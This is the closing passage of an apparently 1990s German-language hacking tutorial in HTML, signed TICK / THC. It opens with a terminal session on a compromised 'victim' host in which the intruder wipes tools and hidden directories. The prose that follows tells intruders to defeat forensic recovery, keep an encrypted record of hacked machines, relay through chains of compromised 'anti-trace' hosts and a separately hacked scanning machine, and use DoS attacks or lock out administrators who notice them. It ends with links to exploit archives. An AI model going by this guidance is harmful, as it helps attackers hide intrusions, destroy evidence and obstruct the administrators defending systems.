2119 nfsserver. Mit Hilfe dieser Zahlenfolge und eines netten Programms namens
2120 <b>nfsmenu</b>
2121 ist es uns nun moeglich das Directory <font color="#33FF33">/nfs_mnt</font>
2122 von ueberallher zu mounten.
2123 <p><font color="#FF0000">bash# cd /tmp/".. "</font>
2124 <br><font color="#FF0000">[1]+&nbsp; Done&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
2125 searcher</font>
2126 <br><font color="#FF0000">bash# gzip --best s.res</font>
2127 <br><font color="#FF0000">bash# uuencode s.res.gz s.res.gz</font>
2128 <br><font color="#FF0000">[...]</font>
2129 <br><font color="#FF0000">bash# gcc -o rm srm.c</font>
2130 <br><font color="#FF0000">bash# rm -vss ./*</font>
2131 <br><font color="#FF0000">Deleting ifconfig *************************************
2132 Done</font>
2133 <br><font color="#FF0000">[...]</font>
2134 <br><font color="#FF0000">bash# cd ..</font>
2135 <br><font color="#FF0000">bash# rm -r ".. "</font>
2136 <br><font color="#FF0000">bash# ls -altr ~root</font>
2137 <br><font color="#FF0000">[...]</font>
2138 <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
2139 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 90803 Jan 23 11:26 .fvwm2rc</font>
2140 <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 3 root&nbsp;&nbsp;&nbsp;&nbsp;
2141 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2048 Jan 23 13:57
2142 bin</font>
2143 <br><font color="#FF0000">drwxr-xr-x&nbsp; 22 root&nbsp;&nbsp;&nbsp;&nbsp;
2144 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jan 25 11:55
2145 ..</font>
2146 <br><font color="#FF0000">drwx--x--x&nbsp; 35 root&nbsp;&nbsp;&nbsp;&nbsp;
2147 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4096 Jan 26 09:11
2148 .</font>
2149 <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
2150 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 150 Jan 26 09:11
2151 .Xauthority</font>
2152 <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
2153 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 280 Jan 26 09:12
2154 .xsession-errors</font>
2155 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
2156 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jan 26 09:17
2157 .netscape</font>
2158 <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
2159 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 441 Jun 5 13:14
2160 .bash_history</font>
2161 <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
2162 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 85 Jan
2163 5 13:50 .xlockmessage</font>
2164 <br><font color="#FF0000">bash# exit</font>
2165 <br><font color="#FF0000">victim% cd</font>
2166 <br><font color="#FF0000">victim% pwd</font>
2167 <br><font color="#FF0000">/home/johnny</font>
2168 <br><font color="#FF0000">victim% ls -altr</font>
2169 <br><font color="#FF0000">[...]</font>
2170 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 test&nbsp;&nbsp;&nbsp;&nbsp;
2171 users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3324 Dec 11&nbsp; 1997
2172 .emacs</font>
2173 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 test&nbsp;&nbsp;&nbsp;&nbsp;
2174 users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 20:57 .grok</font>
2175 <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 2 test&nbsp;&nbsp;&nbsp;&nbsp;
2176 users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 20:57 .hotjava</font>
2177 <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 test&nbsp;&nbsp;&nbsp;&nbsp;
2178 users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 20:57 .seyon</font>
2179 <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 2 test&nbsp;&nbsp;&nbsp;&nbsp;
2180 users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 20:57 .xfm</font>
2181 <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
2182 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jun 6 19:15 ..</font>
2183 <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 6 test&nbsp;&nbsp;&nbsp;&nbsp;
2184 users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jun 6 19:15 .</font>
2185 <br><font color="#FF0000">victim% exit</font>
2186 <br><font color="#FF0000">exit</font>
2187 <br><font color="#FF0000">victim:/home/johhny > exit</font>
2188 <br><font color="#FF0000">logout</font>
2189 <br><font color="#FF0000">Connection closed by forign host.</font>
2190 <br><font color="#FF0000">source ></font>
2191 <p><font color="#000000">Zum Schluss wipen wir unsere Tools von der HD,
2192 damit sie nicht durch einfaches Raw-Reading oder&nbsp; <i>Magnetic Force
2193 Microscopy</i> (<i>MFM</i>) o. ae. wieder hergestellt werden koennen, und
2194 vergewissern uns, dass wir in den Home-Direc., in denen wir rumgewurschtelt
2195 haben, keine kompromitierenden Files hinterlassen.</font>
2196 <br><font color="#000000">Mit Sicherheit koennte noch einiges verbessert
2197 werden, versuch's und entwickel so deinen eigenen Style.</font>
2198 <p>Lege dir ein Art Datenbank mit allen noetigen Information ueber deine
2199 gehackten Rechner an sonst verlierst du irgendwann den Ueberblick (natuerlich
2200 encrypted).
2201 <br>&nbsp;
2202 <p><a NAME="a9"></a>
2203 <h3>
2204 <font color="#993399">Persoenliche Sicherheit</font></h3>
2205 Es ist natuerlich klar, dass du deine Daten auf der HD mit&nbsp; CFS&nbsp;
2206 bzw.&nbsp; SFS&nbsp; und deine E-Mail mit&nbsp; PGP&nbsp; verschluesselts,
2207 Ramdisks benutzt, Backups deiner wichtigsten Daten auf Tape/CDs nicht zuhause
2208 lagerst, deinen realen Namen nicht weitergibst usw... dieser Kram soll
2209 nicht Bestandteil dieses Abschnitts sein, ich moechte lieber ueber eine
2210 sichere Konfiguration sprechen, die dich beim Hacken schuetzt und vorwarnt
2211 wenn dich jemand verfolgt.
2212 <p>Ich werde hier die Methode beschreiben, die ich persoenlich anwende.
2213 <center><img SRC="test.jpg" height=546 width=800></center>
2214 Als Einwahltpunkt dient mir eine grosse Uni mit vielen Usern oder ein grosser
2215 ISP. Ich verwende <i>PPP</i> statt normale Terminalprogramme um eine groessere
2216 Kontrolle ueber meine Verbindung zu haben und weil es vom Vorteil ist ueber
2217 eine Leitung mehrere Sessions - Telnet, FTP - laufen zu lassen.
2218 <br>Ein kleinerer Rechner dient mir als Firewall und Router, ich baue die
2219 <i>PPP</i>-Verbindung
2220 zu meinem Einwahlpunkt auf und ueberwache alle eingehenden Pakete. Desweiteren
2221 stelle ich mit <i>SSH</i> eine Connection zum Einwahlrechner her um periodisch
2222 alle eingeloggten User und Netzwerkverbindungen zu verfolgen (was natuerlich
2223 nur funktioniert, wenn der Einwahlrechner eine Unix-Maschine ist und kein
2224 Terminalserver o.ae.). Es ist sehr interessant zu sehen, was ein Admin
2225 alles macht, wenn er merkt, dass etwas nicht mit rechten Dingen auf seiner
2226 Maschine vorgeht. Sobald mir solche Sondierungen/Untersuchungen auffallen
2227 breche ich die Verbindung sofort ab, falls ich mich aber gerade in einer
2228 kritischen Lage befinde muss ich DoS-Attacken benutzen oder den Admin aussperren
2229 um seine Arbeit zu verlangsamen bzw. zu verhindern. Auf dem Einwahlrechner
2230 ist es nicht noetig seine Gegenwart zu verschleiern, es ist besser unauffaellig
2231 in der Masse unterzutauchen als irgenwelche Logs zu manipulieren.
2232 <br>Der zweite, groessere Rechner ist meine Workstation, von hier aus baue
2233 ich eine <i>SSH</i>-Verbindung zum ersten <i>Anti-Trace Rechner</i> auf.
2234 Dieser <i>Anti-Trace Rechner </i>wechselt regelmaessig, liegt im Ausland
2235 und ich hab' volle Kontrolle ueber ihn. Von hier aus gehe ich ueber ein
2236 weiteren <i>Anti-Trace Rechner </i>zu meinem <i>Hacking-Rechner</i>; auch
2237 hier habe ich natuerlich &acute;root&acute;-Rechte, der zweite <i>AT-Rechner
2238 </i>ist
2239 nur ein einfacher <i>TCP-Relay</i>, damit erspare ich mir den Stress mit
2240 den Logfiles etc. Vom <i>Hacking-Rechner </i>gehe ich in sehr sichere Domains
2241 oder hacke von hier aus neue Netzwerke (es existieren selbstverstaendlich
2242 mehrere dieser Rechner, die zudem unregelmaessig gewechselt werden). Zum
2243 Scannen benutze ich einen eigens dafuer gehackten Rechner, die Scanner
2244 sind hier alle gut versteckt und zusaetzlich mit <i>3DES</i> verschluesselt.
2245 <p>Die verschluesselten <i>SSH </i>Verbindung sind noetig, damit die Admins/Bullen/Geheimdienste
2246 nicht meine Aktivitaeten am Einwahlpunkt (oder sonstwo) mitschneiden koennen.
2247 <p>Falls du nur einen Rechner zur Verfuehgung hast, dann kannst du dich
2248 natuerlich auch mit der Firewall von Linux/FreeBSD/OpenBSD auf deiner Workstation
2249 schuetzen. Es ist jedoch kompfortabler die Verbindung ueber einen speziellen
2250 Computer zu beobachten (ich weiss nicht inwiefern Linux und Co. einen zweiten
2251 Monitor an einem Rechner unterschtuetzt).
2252 <p>Zusaetzlich solltest du noch deinen Kernel patchen, damit er dir mehr
2253 informationen ueber eingehende Pakete liefert, somit bist du in der Lage
2254 die Herkunft (leider nicht immer;) von DoS Attacken, Source-Routing Angriffe,
2255 Traceroutes etc. zu erkennen.
2256 <br>&nbsp;
2257 <p><a NAME="a10"></a>
2258 <h3>
2259 <font color="#993399">Letzte Worte</font></h3>
2260 <font color="#000000">Ich hoffe, der Text konnte dir einen guten Ueberblick
2261 zum Thema Internet-Hacking geben.</font>
2262 <br><font color="#000000">Vielleicht ist dir aufgefallen, dass ich nicht
2263 die Verwendung von irgnedwelchen Exploits und Hacking-Tools beschrieben
2264 habe, das hat einen einfachen Grund, undzwar moechte ich keine Skript Kiddies
2265 heranzuechten, sondern nur einen leichten Einstieg fuer die wirklich interessierten
2266 Leute unter euch bieten - warum das Rad staendig neu erfinden!?</font>
2267 <br><font color="#000000">Und vergiss nicht: Hacken ist nicht der Nexus...
2268 denk' auch mal an's nicht digitale Leben - Frauen, Parties, ...</font>
2269 <br>&nbsp;
2270 <br>&nbsp;
2271 <h3>
2272 <a NAME="a10"></a></h3>
2273
2274 <h3>
2275 <font color="#993399">Wichtige Links</font></h3>
2276 &nbsp;<a href="http://www.false.com/security">http://www.false.com/security</a>
2277 <br>&nbsp;<a href="http://www.insecurity.org/nmap">http://www.insecurity.org/nmap</a>
2278 <br>&nbsp;<b><a href="http://www.thc.org">http://www.thc.org</a></b>
2279 [die THC Hauptseite - unbedingt besuchen! ;-) Hier gibts auch die Updates
2280 fuer diesen Artikel]
2281 <br>&nbsp;<a href="http://www.secunet.com">http://www.secunet.com</a>
2282 <br>&nbsp;<a href="http://geek-girl.com/bugtraq">http://geek-girl.com/bugtraq</a>
2283 <br>&nbsp;<a href="http://rootshell.com">http://rootshell.com</a>
2284 <br>&nbsp;<a href="http://rootshell.com/doc">http://rootshell.com/doc</a>
2285 <br>&nbsp;<a href="http://www.sparc.com/charles/security.html">http://www.sparc.com/charles/security.html</a>
2286 <br>&nbsp;<a href="http://command.com.inter.net/~sod/">http://command.com.inter.net/~sod/</a>
2287 <br>&nbsp;<a href="http://www.phrack.com">http://www.phrack.com</a>
2288 <br>&nbsp;<a href="http://www.cs.purdue.edu/coast/">http://www.cs.purdue.edu/coast/</a>
2289 <br>&nbsp;<a href="http://www.pilot.net/security-guide.html">http://www.pilot.net/security-guide.html</a>
2290 <br>&nbsp;<a href="http://underground.org/">http://underground.org/</a>
2291 <br>&nbsp;<a href="http://www.l0pht.com">http://www.l0pht.com</a>
2292 <br>&nbsp;<a href="http://www.infonexus.com">http://www.infonexus.com/~deamon9</a>
2293 <br>&nbsp;<a href="http://www.cert.org">http://www.cert.org</a>
2294 <br>&nbsp;<a href="http://www.cert.dfn.de">http://www.cert.dfn.de</a>
2295 <br><a href="ftp://ftp.blip.pp.se/pub/cracking">&nbsp;ftp.blib.pp.se/pub/cracking</a>&nbsp;
2296 alot of tools and exploits!!!!
2297 <p>
2298 <hr WIDTH="100%">
2299 <br>&nbsp;
2300 <center>
2301 <h3>
2302 <b><blink><font size=+2>This is the End my Friend</font></blink></b></h3></center>
2303
2304 <center>
2305 <p><br><b>All my Love to:</b>
2306 <br><font color="#3333FF"><font size=+1>My lovely Girl - You are my Sun!</font></font>
2307 <br>my best Friend #1
2308 <br>my best Friend #2
2309 <br>Sir Fredde Richard - "Two Bud and a chessgame, please."
2310 <p><b>Greets to:</b>
2311 <br>van Hauser
2312 <br>Fr00dy
2313 <br>Salpeter
2314 <br>The Lord o/t Hardschool - I hope you are not in trouble.
2315 <br>stanly
2316 <br>Zonk
2317 <br>THC/ADM/dEEP
2318 <br>JEVER, Budweiser-, Paulaner- and Sol-Brewery - Stop selling your beer!
2319 I&acute;m addicted! ;)
2320 <p><b>Hate goes to:</b>
2321 <br>all politicans
2322 <br>all religions of this fucking world
2323 <br>all clocks - I'm the real TICK!</center>
2324
2325 <p><br>
2326 <center>
2327 <h1>
2328 <font color="#33FF33"><font size=+4>TICK / THC</font></font></h1></center>
2329
2330 </body>
2331 </html>